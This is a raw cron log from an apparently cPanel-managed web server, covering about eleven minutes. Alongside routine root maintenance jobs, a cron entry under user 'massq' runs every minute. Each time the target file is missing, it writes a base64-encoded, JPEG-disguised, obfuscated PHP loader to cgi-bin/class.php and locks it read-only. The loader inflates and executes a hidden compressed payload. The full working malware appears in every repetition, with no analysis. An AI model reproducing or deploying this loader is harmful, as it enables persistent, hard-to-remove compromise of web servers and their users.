Sep  3 13:29:01 server CROND[21161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:29:01 server CROND[21162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:29:01 server CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:30:01 server CROND[21555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:30:01 server CROND[21560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:30:01 server CROND[21559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:30:01 server CROND[21562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:30:01 server CROND[21567]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:30:01 server CROND[21561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:30:01 server CROND[21564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:30:01 server CROND[21563]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:31:01 server CROND[22442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:31:01 server CROND[22445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:31:01 server CROND[22446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:32:01 server CROND[23005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:32:01 server CROND[23006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:32:01 server CROND[23007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:33:01 server CROND[23432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:33:01 server CROND[23433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:33:01 server CROND[23431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:34:01 server CROND[23823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:34:01 server CROND[23824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:34:01 server CROND[23825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:35:01 server CROND[24229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:35:01 server CROND[24231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:35:01 server CROND[24233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:35:01 server CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:35:01 server CROND[24237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:35:01 server CROND[24234]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:35:01 server CROND[24238]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 13:35:01 server CROND[24239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:35:01 server CROND[24244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:36:01 server CROND[25144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:36:01 server CROND[25145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:36:01 server CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:37:01 server CROND[25589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:37:01 server CROND[25591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:37:01 server CROND[25590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:38:01 server CROND[25978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:38:01 server CROND[25979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:38:01 server CROND[25980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:39:01 server CROND[26358]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 13:39:01 server CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:39:01 server CROND[26359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:39:01 server CROND[26361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:40:01 server CROND[26757]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:40:01 server CROND[26759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:40:01 server CROND[26761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:40:01 server CROND[26763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:40:01 server CROND[26765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:40:01 server CROND[26766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
